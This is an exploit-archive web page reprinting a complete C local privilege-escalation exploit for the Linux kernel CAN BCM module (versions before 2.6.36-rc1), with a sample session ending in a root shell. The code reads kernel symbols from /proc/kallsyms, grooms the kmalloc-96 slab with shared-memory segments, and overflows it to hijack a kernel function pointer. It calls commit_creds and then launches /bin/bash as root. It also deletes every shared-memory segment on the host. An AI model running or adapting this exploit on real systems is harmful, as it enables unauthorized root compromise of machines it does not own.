首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
来源:http://hi.baidu.com/wzt85/blog/ 作者:wzt 发布时间:2010-12-27  

通用的linux kernel slub overflow攻击代码模板, 关于slub overflow的溢出研究请见下期webzine:)

/*
 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
 *
 * by wzt    <wzt.wzt@gmail.com>
 *
 * based on exploit by Jon Oberheide, the original code use RX_SETUP opcode
 * to locate the smashed shmid_kernel, i modified it to general slub overflow
 * templates.
 *
 * tested on centos5.4 + 2.6.32 with selinux disabled.
 *
 * [wzt@localhost can]$ ./exp
 * [+] looking for symbols...
 * [+] found commit_creds addr at 0xc0446524.
 * [+] found prepare_kernel_cred addr at 0xc0446710.
 * [+] setting up exploit payload...
 * [+] checking slab total: 1008 active: 915 free: 93
 * [+] smashing free slab ...
 * [+] smashing 46 total: 1008 active: 1008 free: 0
 * [+] smashing adjacent slab ...
 * [+] smashing 146 total: 1092 active: 1092 free: 0
 * [+] free exist shmid with idx: 142
 * [+] creating PF_CAN socket...
 * [+] connecting PF_CAN socket...
 * [+] clearing out any active OPs via RX_DELETE...
 * [+] first trigger 96 bytes in kmalloc-96.
 * [+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...
 * [+] mmap'ed mapping of length 328 at 0xb7761000
 * [+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...
 * [+] launching root shell!
 * [root@localhost can]# id
 * uid=0(root) gid=0(root)
 * [root@localhost can]# uname -a
 * Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010 i686 i686 i386 GNU/Linux
 * [root@localhost can]#
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>

#define KALLSYMS_NAME            "/proc/kallsyms"
#define SLAB_NAME            "kmalloc-96"
#define SLAB_SIZE            96
#define SLAB_NUM            100

struct sockaddr_can {
        sa_family_t can_family;
        int can_ifindex;
        union {
                struct { uint32_t rx_id, tx_id; } tp;
        } can_addr;
};

struct can_frame {
        uint32_t can_id;
        uint8_t can_dlc;
        uint8_t data[8] __attribute__((aligned(8)));
};

struct bcm_msg_head {
        uint32_t opcode;
        uint32_t flags;
        uint32_t count;
        struct timeval ival1, ival2;
        uint32_t can_id;
        uint32_t nframes;
        struct can_frame frames[0];
};

#ifndef PF_CAN
#define PF_CAN                          29
#endif

#ifndef CAN_BCM
#define CAN_BCM                         2
#endif

#define RX_SETUP                        5
#define RX_DELETE                       6
#define CFSIZ                           sizeof(struct can_frame)
#define MHSIZ                           sizeof(struct bcm_msg_head)
#define IPCMNI                          32768
#define EIDRM                           43
#define HDRLEN_KMALLOC                  8

struct list_head {
    struct list_head *next;
    struct list_head *prev;
};

struct super_block {
    struct list_head s_list;
    unsigned int s_dev;
    unsigned long s_blocksize;
    unsigned char s_blocksize_bits;
    unsigned char s_dirt;
    uint64_t s_maxbytes;
    void *s_type;
    void *s_op;
    void *dq_op;
    void *s_qcop;
    void *s_export_op;
    unsigned long s_flags;
}super_block;

struct mutex {
    unsigned int count;
    unsigned int wait_lock;
    struct list_head wait_list;
    void *owner;
};

struct inode {
    struct list_head i_hash;
    struct list_head i_list;
    struct list_head i_sb_list;
    struct list_head i_dentry_list;
    unsigned long i_ino;
    unsigned int i_count;
    unsigned int i_nlink;
    unsigned int i_uid;
    unsigned int i_gid;
    unsigned int i_rdev;
    uint64_t i_version;
    uint64_t i_size;
    unsigned int i_size_seqcount;
    long i_atime_tv_sec;
    long i_atime_tv_nsec;
    long i_mtime_tv_sec;
    long i_mtime_tv_nsec;
    long i_ctime_tv_sec;
    long i_ctime_tv_nsec;
    uint64_t i_blocks;
    unsigned int i_blkbits;
    unsigned short i_bytes;
    unsigned short i_mode;
    unsigned int i_lock;
    struct mutex i_mutex;
    unsigned int i_alloc_sem_activity;
    unsigned int i_alloc_sem_wait_lock;
    struct list_head i_alloc_sem_wait_list;
    void *i_op;
    void *i_fop;
    struct super_block *i_sb;
    void *i_flock;
    void *i_mapping;
    char i_data[84];
    void *i_dquot_1;
    void *i_dquot_2;
    struct list_head i_devices;
    void *i_pipe_union;
    unsigned int i_generation;
    unsigned int i_fsnotify_mask;
    void *i_fsnotify_mark_entries;
    struct list_head inotify_watches;
    struct mutex inotify_mutex;
}inode;

struct dentry {
    unsigned int d_count;
    unsigned int d_flags;
    unsigned int d_lock;
    int d_mounted;
    void *d_inode;
    struct list_head d_hash;
    void *d_parent;
}dentry;

struct file_operations {
    void *owner;
    void *llseek;
    void *read;
    void *write;
    void *aio_read;
     void *aio_write;
    void *readdir;
    void *poll;
    void *ioctl;
    void *unlocked_ioctl;
    void *compat_ioctl;
    void *mmap;
    void *open;
    void *flush;
    void *release;
    void *fsync;
    void *aio_fsync;
    void *fasync;
    void *lock;
    void *sendpage;
    void *get_unmapped_area;
    void *check_flags;
    void *flock;
    void *splice_write;
    void *splice_read;
    void *setlease;
}op;

struct vfsmount {
    struct list_head mnt_hash;
    void *mnt_parent;
    void *mnt_mountpoint;
    void *mnt_root;
    void *mnt_sb;
    struct list_head mnt_mounts;
    struct list_head mnt_child;
    int mnt_flags;
    const char *mnt_devname;
    struct list_head mnt_list;
    struct list_head mnt_expire;
    struct list_head mnt_share;
    struct list_head mnt_slave_list;
    struct list_head mnt_slave;
    struct vfsmount *mnt_master;
    struct mnt_namespace *mnt_ns;
    int mnt_id;
    int mnt_group_id;
    int mnt_count;
}vfsmount;

struct file {
    struct list_head fu_list;
    struct vfsmount *f_vfsmnt;
    struct dentry *f_dentry;
    void *f_op;
    unsigned int f_lock;
    unsigned long f_count;
}file;

struct kern_ipc_perm {
    unsigned int lock;
    int deleted;
    int id;
    unsigned int key;
    unsigned int uid;
    unsigned int gid;
    unsigned int cuid;
    unsigned int cgid;
    unsigned int mode;
    unsigned int seq;
    void *security;
};  
    
struct shmid_kernel {
    struct kern_ipc_perm shm_perm;
    struct file *shm_file;
    unsigned long shm_nattch;
    unsigned long shm_segsz;
    time_t shm_atim;
    time_t shm_dtim;
    time_t shm_ctim;
    unsigned int shm_cprid;
    unsigned int shm_lprid;
    void *mlock_user;
}shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
        FILE *s_fp;
        char buff[200];
        char *p = NULL, *p1 = NULL;
        unsigned long addr = 0;

        s_fp = fopen(file_name, "r");
        if (s_fp == NULL) {
                printf("open %s failed.\n", file_name);
                return 0;
        }

        while (fgets(buff, 200, s_fp) != NULL) {
                if (strstr(buff, symbol_name) != NULL) {
                        buff[strlen(buff) - 1] = '\0';
                        p = strchr(strchr(buff, ' ') + 1, ' ');
                        ++p;

                        if (!p) {
                                return 0;
                        }
                        if (!strcmp(p, symbol_name)) {
                                p1 = strchr(buff, ' ');
                                *p1 = '\0';
                                sscanf(buff, "%lx", &addr);
                                //addr = strtoul(buff, NULL, 16);
                                printf("[+] found %s addr at 0x%x.\n",
                                        symbol_name, addr);
                                break;
                        }
                }
        }

        fclose(s_fp);
        return addr;
}

int check_slab(char *slab_name, int *active, int *total)
{
    FILE *fp;
    char buff[1024], name[64];
    int active_num, total_num;
    
    fp = fopen("/proc/slabinfo", "r");
    if (!fp) {
        perror("fopen");
        return -1;
    }

    while (fgets(buff, 1024, fp) != NULL) {
        sscanf(buff, "%s %u %u", name, &active_num, &total_num);
        if (!strcmp(slab_name, name)) {
            *active = active_num;
            *total = total_num;
            return total_num - active_num;
        }
    }

    return -1;
}

void clear_old_shm(void)
{
    char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; "
            "do ipcrm -m $shmid > /dev/null 2>&1; done;";

    system(cmd);
}

void setup(void)
{
    printf("[+] looking for symbols...\n");

    commit_creds = (_commit_creds)
        find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
        if (!commit_creds) {
        printf("[-] not found commit_creds addr.\n");
        return ;
        }

    prepare_kernel_cred =
        (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
        "prepare_kernel_cred");
        if (!prepare_kernel_cred) {
        printf("[-] not found prepare_kernel_cred addr.\n");
        return ;
        }

    printf("[+] setting up exploit payload...\n");

    super_block.s_flags = 0;

        inode.i_size = 4096;
        inode.i_sb = &super_block;
        inode.inotify_watches.next = &inode.inotify_watches;
        inode.inotify_watches.prev = &inode.inotify_watches;
        inode.inotify_mutex.count = 1;

        dentry.d_count = 4096;
        dentry.d_flags = 4096;
        dentry.d_parent = NULL;
        dentry.d_inode = &inode;

        op.mmap = &kernel_code;
        op.get_unmapped_area = &kernel_code;

        vfsmount.mnt_flags = 0;
        vfsmount.mnt_count = 1;

        file.fu_list.prev = &file.fu_list;
        file.fu_list.next = &file.fu_list;
        file.f_dentry = &dentry;
        file.f_vfsmnt = &vfsmount;
        file.f_op = &op;

        shmid_kernel.shm_perm.key = IPC_PRIVATE;
        shmid_kernel.shm_perm.uid = 501;
        shmid_kernel.shm_perm.gid = 501;
        shmid_kernel.shm_perm.cuid = getuid();
        shmid_kernel.shm_perm.cgid = getgid();
        shmid_kernel.shm_perm.mode = -1;
        shmid_kernel.shm_file = &file;
}

int trigger(void)
{
    int *shmids;
    int total_num, active_num, free_num;
    int i, ret, sock, base, free_idx;
    int len, sock_len, mmap_len;
    struct sockaddr_can addr;
    struct bcm_msg_head *msg;
    void *efault;
    char *buf;

    clear_old_shm();

    free_num = check_slab(SLAB_NAME, &active_num, &total_num);
    fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
        total_num, active_num, total_num - active_num);

    shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));

    fprintf(stdout, "[+] smashing free slab ...\n");
    for (i = 0; i < free_num + SLAB_NUM; i++) {
        if (!check_slab(SLAB_NAME, &active_num, &total_num))
            break;

        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
        if (shmids[i] < 0) {
            perror("shmget");
            return -1;
        }
    }
    base = i;
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

    fprintf(stdout, "[+] smashing adjacent slab ...\n");
    i = base;
    for (; i < base + SLAB_NUM; i++) {
                shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids[i] < 0) {
                        perror("shmget");
                        return -1;
                }
    }
    check_slab(SLAB_NAME, &active_num, &total_num);
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

    free_idx = i - 4;
    fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
    if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
        perror("shmctl");
    }

    sleep(1);

    printf("[+] creating PF_CAN socket...\n");

    sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    if (sock < 0) {
        printf("[-] kernel lacks CAN packet family support\n");
        exit(1);
    }

    printf("[+] connecting PF_CAN socket...\n");

    memset(&addr, 0, sizeof(addr));
    addr.can_family = PF_CAN;

    ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
    if (sock < 0) {
        printf("[-] could not connect CAN socket\n");
        exit(1);
    }

    len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16));
    msg = malloc(len);
    memset(msg, 0, len);
    msg->can_id = 2959;
    msg->nframes = (UINT_MAX / CFSIZ) + (SLAB_SIZE / 16) + 1;

    printf("[+] clearing out any active OPs via RX_DELETE...\n");
    
    msg->opcode = RX_DELETE;
    ret = send(sock, msg, len, 0);

    printf("[+] first trigger 96 bytes in %s.\n", SLAB_NAME);
    msg->opcode = RX_SETUP;
    ret = send(sock, msg, len, 0);
    if (ret < 0) {
        printf("[-] kernel rejected malformed CAN header\n");
        exit(1);
    }

    printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");

    mmap_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 3);
    sock_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 4);
    efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);

    printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");

    msg = (struct bcm_msg_head *)efault;
    memset(msg, 0, mmap_len);
    msg->can_id = 2959;
    msg->nframes = (SLAB_SIZE / 16) * 4;

        buf = (char *)msg;
        shmid_kernel.shm_perm.seq = shmids[free_idx + 2] / IPCMNI;
        memcpy(&buf[MHSIZ + (SLAB_SIZE * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));

    msg->opcode = RX_SETUP;
    ret = send(sock, msg, mmap_len, 0);
    if (ret != -1 && errno != EFAULT) {
        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
        exit(1);
    }

    ret = (int)shmat(shmids[free_idx + 2], NULL, SHM_RDONLY);
    if (ret == -1 && errno != EIDRM) {
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);

        printf("[+] launching root shell!\n");

        execl("/bin/bash", "/bin/bash", NULL);
        exit(0);
    }

    return 0;
}

int main(void)
{
    setup();
    trigger();
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Redmine SCM Repository Arbitra
·OpenClassifieds 1.7.0.3 Chaine
·Microsoft Windows Fax Services
·Kolibri v2.0 Buffer Overflow R
·HttpBlitz Web Server Denial Of
·Mitel Audio and Web Conferenci
·DD-WRT Information Disclosure
·Microsoft WMI Administration T
·IrfanView 4.27 - JP2000.dll pl
·DorsaCms SQL Injection Vulnera
·PiXie CMS v1.04 <= Multiple CS
·WMITools ActiveX Remote Comman
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved